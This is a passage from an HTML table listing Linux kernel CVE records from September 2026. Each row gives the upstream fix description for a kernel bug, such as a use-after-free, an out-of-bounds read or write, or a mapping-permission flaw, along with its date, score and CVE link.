o2hb_heartbeat_group_make_item+0x3c/0x600&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90301&quot; target=&quot;_blank&quot;&gt;CVE-2026-90301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: synchronize input before cleaning up a failed probe hid_device_io_start() allows reports to run concurrently with probe. If the probe subsequently fails, __hid_device_probe() releases driver resources and clears hdev-&amp;gt;driver without first excluding those report callbacks. For example, a report may enter hidraw_report_event() while the failure path frees the associated hidraw object, leading to a use-after-free when the report takes the object&#039;s list lock. Stop input before performing failed-probe cleanup. This reacquires driver_input_lock and waits for any report callback already in progress.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90329&quot; target=&quot;_blank&quot;&gt;CVE-2026-90329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: dwc: ep: Flush cached MSI write before unmapping the iATU The MSI-X path already flushes any posted MSI-X write before tearing down its iATU mapping. That was added by commit c22533c66cca (&quot;PCI: dwc: ep: Flush MSI-X write before unmapping its ATU entry&quot;) to make sure the write reaches the Root Complex before the outbound window that translates it disappears. The MSI path has the same problem but no equivalent flush. When the Endpoint driver caches an MSI target address and later observes that the Root Complex has changed it, dw_pcie_ep_raise_msi_irq() unmaps the existing iATU entry and reprograms it for the new address. Between the last MSI writel() and the unmap there may still be a posted write sitting in the fabric, and unmapping the iATU entry can drop or misroute that write. Fix this by reading back from the mapped MSI window before the unmap. The readback drains any posted MSI writes through the same iATU entry that mapped them, which is the same logic the MSI-X path uses. [mani: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90332&quot; target=&quot;_blank&quot;&gt;CVE-2026-90332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: ptrace: Keep &#039;orig_x0&#039; in-sync with x0 on syscall entry Commit e057b9477232 (&quot;arm64: syscall: Ensure saved x0 is kept in-sync with tracer updates&quot;) attempted to resolve a long-standing issue with syscall entry tracing, where a tracer is able to manipulate the first syscall argument without being subjected to seccomp or audit checking. Unfortunately, that fix was incomplete [1], as it failed to update &#039;orig_x0&#039; between a tracer updating x0 during a seccomp ptrace exit (SECCOMP_RET_TRACE) and the seccomp filter being re-evaluated. Rather than add hooks to the core seccomp code, instead move the synchronisation code into the ptrace GPR and syscall setting code so that &#039;orig_x0&#039; is kept up to date with x0 whenever we&#039;re stopped on the syscall entry path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90347&quot; target=&quot;_blank&quot;&gt;CVE-2026-90347&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: unlink TWT flow if the MCU rejects the agreement The flow is added to dev-&amp;gt;twt_list before sending the agreement to the firmware, but the error path leaves it linked while flowid_mask is never set. The flow slot can then be reused and memset while still on the list, corrupting twt_list, and station removal leaves a dangling entry behind that mt7915_mac_twt_sched_list_add() later walks.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90357&quot; target=&quot;_blank&quot;&gt;CVE-2026-90357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: hold dev-&amp;gt;mt76.mutex while disabling tx worker in SER mt7996_mac_reset_work() parked the tx worker and disabled the RX/TX NAPIs before taking dev-&amp;gt;mt76.mutex. mt76_worker_disable()/_enable() are plain kthread park/unpark, not refcounted, and __mt76_set_channel() toggles the same worker and the MT76_RESET bit under the mutex. An L1 SER racing a channel switch could therefore have the worker unparked and MT76_RESET cleared while the reset path resets the DMA rings, corrupting descriptors or tokens. Take the mutex before disabling the worker, as mt7915 does.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90367&quot; target=&quot;_blank&quot;&gt;CVE-2026-90367&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix RXDMAD_C buffer recycling race The RXDMAD_C buffers come from the RRO data queues&#039; page pools, which are bound to a different NAPI, so the direct page-pool recycle used here could race the owning NAPI; take the non-direct path as is already done for WED RX queues.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90371&quot; target=&quot;_blank&quot;&gt;CVE-2026-90371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7921: Add PCIe AER handler support to prevent system crash When an AER error occurs and the bus is hung, the register reads return 0xFFFFFFFF, causing the DMA queue state to be corrupted and resulting in an invalid memory access when accessing q-&amp;gt;desc[] or q-&amp;gt;entry[]. Unable to handle kernel paging request at virtual address ffffffc01099eac0 pc : mt76_dma_add_buf+0x124/0x188 [mt76] lr : mt76_dma_rx_fill+0x11c/0x1d8 [mt76] sp : ffffffc016d9bbf0 x29: ffffffc016d9bc10 x28: 0000000000000000 x27: 0000000000000000 x26: ffffffb7855e50b8 x25: ffffffb80d04f000 x24: 0000000000000000 x23: 0000000000000ec0 x22: ffffffb796803648 x21: ffffffb796801f80 x20: ffffffb7968035f8 x19: 0000000000000ec0 x18: 0000000000000000 x17: 000000004ec00000 x16: 000000000ec00000 x15: ffffffc01099eac0 x14: 000000004ec00000 x13: 00000000ffc5a000 x12: ffffffc016d9bc32 x11: 00000000ffffffff x10: 0000000000000002 x9 : 0000000000000000 x8 : 000000000000b4ac x7 : 0000000000000a20 x6 : ffffffb6c1806400 x5 : 0000000000000000 x4 : ffffffb80d04f000 x3 : 0000000000000000 x2 : 0000000000000001 x1 : 000000000ec04000 x0 : ffffffb7968035f8 Call trace: mt76_dma_add_buf+0x124/0x188 [mt76 (HASH:1029 4)] mt76_dma_rx_reset+0xe8/0xfc [mt76 (HASH:1029 4)] mt7921_wpdma_reset+0x188/0x1b0 [mt7921e (HASH:ee48 5)] mt7921e_mac_reset+0x128/0x418 [mt7921e (HASH:ee48 5)] mt7921_mac_reset_work+0xac/0x1a8 [mt7921_common (HASH:f721 6)] process_one_work+0x188/0x514 worker_thread+0x12c/0x300 kthread+0x140/0x1fc ret_from_fork+0x10/0x30 Fix the invalid memory access by validating the DMA index read from the hardware before it is used as a queue index. An out-of-range value, such as the 0xFFFFFFFF returned while the bus is hung, is now clamped so it can no longer corrupt q-&amp;gt;head or q-&amp;gt;tail. In addition, check the bus_hung flag in mt7921_mac_reset_work() before attempting the reset sequence, reject MCU messages while the bus is hung, and install no-op bus operations when an unrecoverable AER error is detected, preventing further invalid hardware accesses. Due to hardware limitations - such as the lack of a connected hardware reset pin or the absence of host re-probe functionality - affected Wi-Fi devices may not fully recover to a normal operational state after certain errors, even with AER enabled.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90379&quot; target=&quot;_blank&quot;&gt;CVE-2026-90379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt792x: fix use-after-free in mt76_rx_poll_complete A use-after-free issue occurs in mt76_rx_poll_complete due to a race condition. The STA has already been removed, but the rx_status still had a pointer to the wcid in the STA. Set the links&#039; wcid pointers to be NULL for a MLD in mt7925_sta_pre_rcu_remove() BUG: KASAN: invalid-access in mt76_rx_poll_complete+0x280/0x470 Call trace: dump_backtrace+0xec/0x128 show_stack+0x18/0x28 dump_stack_lvl+0x40/0xc8 print_report+0x1b8/0x710 kasan_report+0xe0/0x144 do_bad_area+0x120/0x260 do_tag_check_fault+0x20/0x34 do_mem_abort+0x54/0xa8 el1_abort+0x3c/0x5c el1h_64_sync_handler+0x40/0xcc el1h_64_sync+0x7c/0x80 mt76_rx_poll_complete+0x280/0x470 mt76_dma_rx_poll+0x114/0x51c mt792x_poll_rx+0x60/0xf8 napi_threaded_poll_loop+0xe0/0x450 napi_threaded_poll+0x80/0x9c kthread+0x11c/0x158 ret_from_fork+0x10/0x20&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90380&quot; target=&quot;_blank&quot;&gt;CVE-2026-90380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix handling channel context with different bands in mt76_switch_vif_chanctx() When performing channel switches on different radios within a short timeframe, channel contexts with different bands can be carried for each struct ieee80211_vif_chanctx_switch. Rework mt76_switch_vif_chanctx() to properly handle this scenario.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90381&quot; target=&quot;_blank&quot;&gt;CVE-2026-90381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix stride mismatch in mac_phy_caps_parse() Currently, in ath11k_wmi_tlv_mac_phy_caps_parse(), kcalloc() sizes the mac_phy_caps buffer as tot_phy_id * len, where len is clamped to min(firmware_len, sizeof(struct wmi_mac_phy_capabilities)). The subsequent memcpy() destination advances by sizeof(full struct) per slot via C pointer arithmetic, not by the clamped len. When firmware sends short TLVs, the second and later slots are written past the end of the allocation. The reader in ath11k_pull_mac_phy_cap_svc_ready_ext() also indexes the buffer with full-struct pointer arithmetic, so the allocation must match that stride. Fix by using kzalloc_objs(), which derives the element size from the pointer type, making allocation size and pointer stride provably consistent regardless of what len the firmware provides. Compile tested only.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90398&quot; target=&quot;_blank&quot;&gt;CVE-2026-90398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: fix stride mismatch in mac_phy_caps_parse() Currently, in ath12k_wmi_mac_phy_caps_parse(), kzalloc() sizes the mac_phy_caps buffer as tot_phy_id * len, where len is clamped to min(firmware_len, sizeof(struct ath12k_wmi_mac_phy_caps_params)). The subsequent memcpy() destination advances by sizeof(full struct) per slot via C pointer arithmetic, not by the clamped len. When firmware sends short TLVs, the second and later slots are written past the end of the allocation. The reader in ath12k_pull_mac_phy_cap_svc_ready_ext() also indexes the buffer with full-struct pointer arithmetic, so the allocation must match that stride. Fix by using kzalloc_objs(), which derives the element size from the pointer type, making allocation size and pointer stride provably consistent regardless of what len the firmware provides. Tested-on: WCN7850 hw2.0 PCI WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90399&quot; target=&quot;_blank&quot;&gt;CVE-2026-90399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Require exactly one Stream ID for a vSID tegra241_vintf_init_vsid() maps a guest vSID to a single physical Stream ID taken from master-&amp;gt;streams[0], and only warns when the device does not have exactly one stream. A device with several streams gets only its first one mapped, so a guest vSID invalidation cannot reach the others&#039; ATC and IOTLB entries; a device with none makes master-&amp;gt;streams a ZERO_SIZE_PTR, read out of bounds. Reject the mapping with -EOPNOTSUPP if master-&amp;gt;num_streams is not one.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90425&quot; target=&quot;_blank&quot;&gt;CVE-2026-90425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Terminate all descriptors without callbacks The DMA Engine client documentation says in the &quot;Terminate APIs&quot; section of Documentation/driver-api/dmaengine/client.rst: &quot;No callback functions will be called for any incomplete transfers.&quot; dw-edma instead calls vchan_cookie_complete() when a deferred STOP reaches the interrupt handler. This schedules a callback for the active descriptor and leaves other issued or submitted descriptors queued. A late callback after dmaengine_terminate_sync() can dereference client state that has already been freed, while leftover descriptors may later restart into reused buffers or leak. Move all issued and submitted descriptors to the terminated list whenever termination completes. For a pending STOP, do this from both the DONE and ABORT paths. Complete their cookies in order without scheduling callbacks. A STOP can remain pending until the running transfer raises an interrupt. Make device_synchronize() wait for such a pending STOP to complete before releasing terminated descriptors. Reuse it from free_chan_resources(), then release the remaining virt-dma resources. Sleep instead of busy-polling while waiting, and warn if the existing timeout expires.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93042&quot; target=&quot;_blank&quot;&gt;CVE-2026-93042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mei: check SAP message length before reading it Verify the SAP message size is not larger than the local buffer before reading the message to avoid buffer overflow.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93063&quot; target=&quot;_blank&quot;&gt;CVE-2026-93063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Avoid reprocessing the current packet after the QP enters the error state When do_complete() finds the QP in the error state it returns RESPST_CHK_RESOURCE. Before commit 49dc9c1f0c7e (&quot;RDMA/rxe: Cleanup reset state handling in rxe_resp.c&quot;) this was the flush loop: check_resource() had an error-state branch that fetched each remaining recv WQE and completed it with IB_WC_WR_FLUSH_ERR, without touching the current packet. That commit removed the error-state branch from check_resource() (draining is now done at rxe_receiver() entry) but kept the do_complete() error-state return. As a result, when a QP moves to the error state while a packet is being completed - e.g. an rdma_cm disconnect racing with receive processing - the responder state machine loops back into the request processing chain with the already-completed packet still in hand: check_resource() fetches a fresh recv WQE, execute()/send_data_in() copies the same packet payload again, do_complete() posts another IB_WC_SUCCESS CQE (qp-&amp;gt;resp.status is still 0), and control returns to the error-state check. The loop re-executes the same packet once per posted recv WQE (observed: ~1000 duplicate IB_WC_SUCCESS completions of one SEND, one per ~8us, matching the RQ occupancy) until the RQ is exhausted, after which qp-&amp;gt;resp.wqe is NULL and send_data_in() dereferences it: BUG: kernel NULL pointer dereference, address: 0000000000000014 Workqueue: rxe_wq do_work RIP: copy_data+0x29/0x1f0 Call Trace: send_data_in+0x25/0x50 rxe_receiver+0xf36/0x1dd0 The duplicate completions are indistinguishable from real receives to the ULP. During an rds stress test, the message was accepted as new and delivered the same datagram to user space hundreds of times, corrupting the stream; any ULP that relies on RC exactly-once delivery is affected. A live packet reaching the error-state check in do_complete() has been executed and completed exactly once and must be consumed, not re-processed. Return RESPST_CLEANUP for it (dequeue and free); keep returning RESPST_CHK_RESOURCE for the pkt == NULL case.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93107&quot; target=&quot;_blank&quot;&gt;CVE-2026-93107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: core: quiesce input in hid_hw_stop() to prevent use-after-free A driver&#039;s probe calls hid_device_io_start() to enable input delivery, then fails at a later initialization step and unwinds via hid_hw_stop(). The unwind frees struct hidraw via hidraw_disconnect() while in-flight HID reports may still be running on another CPU, dereferencing the freed object through hidraw_report_event(). syzbot reports the resulting use-after-free for the corsair-psu HID driver. Edward Adam Davis posted a per-driver fix for corsair-psu that adds an explicit hid_device_io_stop() before hid_hw_stop() in the probe error path (&quot;hwmon: prevent packets from going to driver for probe&quot;, 2026-04-28). Auditing the tree shows 15 drivers call hid_device_io_start(); 7 also call hid_device_io_stop() and 8 do not: drivers calling hid_device_io_start() without a matching hid_device_io_stop() before hid_hw_stop(): drivers/hwmon/corsair-psu.c (fix posted by Edward) drivers/hwmon/corsair-cpro.c drivers/hwmon/nzxt-kraken3.c drivers/hwmon/nzxt-smart2.c drivers/hwmon/gigabyte_waterforce.c drivers/hid/hid-logitech-dj.c drivers/hid/hid-nintendo.c drivers/hid/hid-mcp2221.c Roughly half of all callers of the API are exposed. Centralize the quiesce in hid_hw_stop() so callers do not have to remember the matching stop: if a driver has left hdev-&amp;gt;io_started true on entry, call hid_device_io_stop() before hid_disconnect(). For the 7 drivers that already call hid_device_io_stop() correctly, hdev-&amp;gt;io_started is false on entry, the guard short-circuits, and behavior is unchanged. No Fixes: tag because the affected drivers gained their hid_device_io_start() calls independently over years; the bug is a class-wide API misuse rather than a regression from one commit.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93189&quot; target=&quot;_blank&quot;&gt;CVE-2026-93189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/chrome: cros_ec_typec: Reject out-of-bounds PD cap count cros_typec_register_partner_pdos() copies the partner PDOs from the EC TYPEC_STATUS response into the fixed caps_desc.pdo[PDO_MAX_OBJECTS] array. memcpy(caps_desc.pdo, resp-&amp;gt;source_cap_pdos, sizeof(u32) * resp-&amp;gt;source_cap_count); ... memcpy(caps_desc.pdo, resp-&amp;gt;sink_cap_pdos, sizeof(u32) * resp-&amp;gt;sink_cap_count); PDO_MAX_OBJECTS is 7. source_cap_count and sink_cap_count are u8 fields from the EC. The only check is that they are not both zero. If either is larger than 7, the memcpy writes past the end of the array on the stack. A count of 255 overflows it by about 1 KB. The EC source arrays are only seven entries wide. A larger count reads past them too. The ChromeOS EC firmware caps these counts today, so a compliant setup does not hit this. The kernel should still validate these values rather than trust them. Validate the counts in cros_typec_register_partner_pdos() next to the memcpy. Skip the PDO registration if either count is above PDO_MAX_OBJECTS. The rest of cros_typec_handle_status() still runs so events are handled and cleared.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93190&quot; target=&quot;_blank&quot;&gt;CVE-2026-93190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvdimm: virtio_pmem: refcount requests for token lifetime KASAN reports slab-use-after-free in __wake_up_common(): BUG: KASAN: slab-use-after-free in __wake_up_common+0x114/0x160 Read of size 8 at addr ffff88810fdcb710 by task swapper/0/0 CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.19.0-next-20260220-00006-g1eae5f204ec3 #4 PREEMPT(full) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014 Call Trace: &amp;lt;IRQ&amp;gt; dump_stack_lvl+0x6d/0xb0 print_report+0x170/0x4e2 ? __pfx__raw_spin_lock_irqsave+0x10/0x10 ? __virt_addr_valid+0x1dc/0x380 kasan_report+0xbc/0xf0 ? __wake_up_common+0x114/0x160 ? __wake_up_common+0x114/0x160 __wake_up_common+0x114/0x160 ? __pfx__raw_spin_lock_irqsave+0x10/0x10 __wake_up+0x36/0x60 virtio_pmem_host_ack+0x11d/0x3b0 ? sched_balance_domains+0x29f/0xb00 ? __pfx_virtio_pmem_host_ack+0x10/0x10 ? _raw_spin_lock_irqsave+0x98/0x100 ? __pfx__raw_spin_lock_irqsave+0x10/0x10 vring_interrupt+0x1c9/0x5e0 ? __pfx_vp_interrupt+0x10/0x10 vp_vring_interrupt+0x87/0x100 ? __pfx_vp_interrupt+0x10/0x10 __handle_irq_event_percpu+0x17f/0x550 ? __pfx__raw_spin_lock+0x10/0x10 handle_irq_event+0xab/0x1c0 handle_fasteoi_irq+0x276/0xae0 __common_interrupt+0x65/0x130 common_interrupt+0x78/0xa0 &amp;lt;/IRQ&amp;gt; virtio_pmem_host_ack() wakes a request that has already been freed by the submitter. This happens when the request token is still reachable via the virtqueue, but virtio_pmem_flush() returns and frees it. Fix the token lifetime by refcounting struct virtio_pmem_request. virtio_pmem_flush() holds a submitter reference, and the virtqueue holds an extra reference once the request is queued. The completion path drops the virtqueue reference, and the submitter drops its reference before returning.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93196&quot; target=&quot;_blank&quot;&gt;CVE-2026-93196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: gtp: add synchronize_net() in gtp_newlink() error path to prevent use-after-free gtp_newlink()&#039;s error path frees tid_hash and addr_hash without waiting for an RCU grace period after clearing sk_user_data. A concurrent gtp_encap_recv() in softirq may still hold the gtp_dev pointer obtained via rcu_dereference_sk_user_data() and access the freed memory. BUG: KASAN: slab-use-after-free in gtp0_pdp_find+0x1f6/0x200 (gtp.c:152) Call Trace: &amp;lt;IRQ&amp;gt; gtp0_pdp_find+0x1f6/0x200 gtp_encap_recv+0x527/0x24b0 udp_queue_rcv_one_skb+0x75f/0xc10 Add synchronize_net() before the kfree calls in out_hashtable, which covers all error paths from both gtp_encap_enable() and gtp_create_sockets().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89789&quot; target=&quot;_blank&quot;&gt;CVE-2026-89789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf: Fix use-after-free when perf mmap() revival races with the last munmap() perf_mmap_close() drops rb-&amp;gt;mmap_count *without* holding event-&amp;gt;mmap_mutex (the refcount_dec_and_test() right before the refcount_dec_and_mutex_lock() of event-&amp;gt;mmap_count). A concurrent perf_mmap_rb() can slot its entire &quot;revival&quot; path into that window (perf_mmap holds event-&amp;gt;mmap_mutex for its whole duration, including rb_alloc): munmap side (perf_mmap_close) mmap side (perf_mmap_rb) ----------------------------------- -------------------------------- rb-&amp;gt;mmap_count 1 -&amp;gt; 0 (no lock) (holds event-&amp;gt;mmap_mutex) inc_not_zero(rb-&amp;gt;mmap_count) fails ring_buffer_attach(event, NULL) rb_alloc() + attach new rb refcount_set(&amp;amp;event-&amp;gt;mmap_count, 1) lock; event-&amp;gt;mmap_count 1 -&amp;gt; 0 ring_buffer_attach(event, NULL) ring_buffer_put() -&amp;gt; frees the *new* rb The revival&#039;s refcount_set(&amp;amp;event-&amp;gt;mmap_count, 1) is an invisible 1 -&amp;gt; 1 write: the close frees the just-revived buffer although the other process still has it mapped -- a page-level use-after-free allowing local privilege escalation to root by any unprivileged user (default kernel.perf_event_paranoid=2). Swap the order of the two counter updates: event-&amp;gt;mmap_count is dropped first via refcount_dec_and_mutex_lock(), so its 1 -&amp;gt; 0 transition and the ring_buffer_attach() stay serialized with perf_mmap(). rb-&amp;gt;mmap_count == 0 then implies every event using the buffer is detached already, so the result of the rb-&amp;gt;mmap_count drop can gate the remaining teardown directly and detach_rest is no longer needed. An earlier fix for this race from Kyle Zeng and David Lee takes event-&amp;gt;mmap_mutex around both counter updates [0]; here the not-last close stays lockless.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89791&quot; target=&quot;_blank&quot;&gt;CVE-2026-89791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: prevent out-of-bounds reads in share config responses Validate IPC share configuration payload sizes before consuming variable-length fields. Bound veto list parsing and account for the separator byte when deriving the path length.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89792&quot; target=&quot;_blank&quot;&gt;CVE-2026-89792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ublk: clear VM_MAYWRITE on read-only ublk char device mmap ublk_ch_mmap() rejects mmap requests with VM_WRITE set, but never clears VM_MAYWRITE on the resulting read-only mapping. This allows a userspace daemon to mmap the per-queue command buffer PROT_READ, then upgrade it to PROT_WRITE via mprotect(), since VM_MAYWRITE was never cleared. The command buffer holds struct ublksrv_io_desc entries that are kernel-written ABI; a writable mapping lets an unprivileged daemon process corrupt fields such as addr, op_flags, nr_sectors, and start_sector. Same bug class as the drm/panthor and drm/vc4 VM_MAYWRITE fixes, and the 2026-08-13 ptp/vmclock fix (a5edadbae57e). Verified via mprotect() PoC: before the fix, a PROT_READ mapping can be upgraded to PROT_READ|PROT_WRITE and a write into the command buffer corrupts io_desc fields (confirmed under KASAN). After the fix, mprotect() returns -EACCES.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
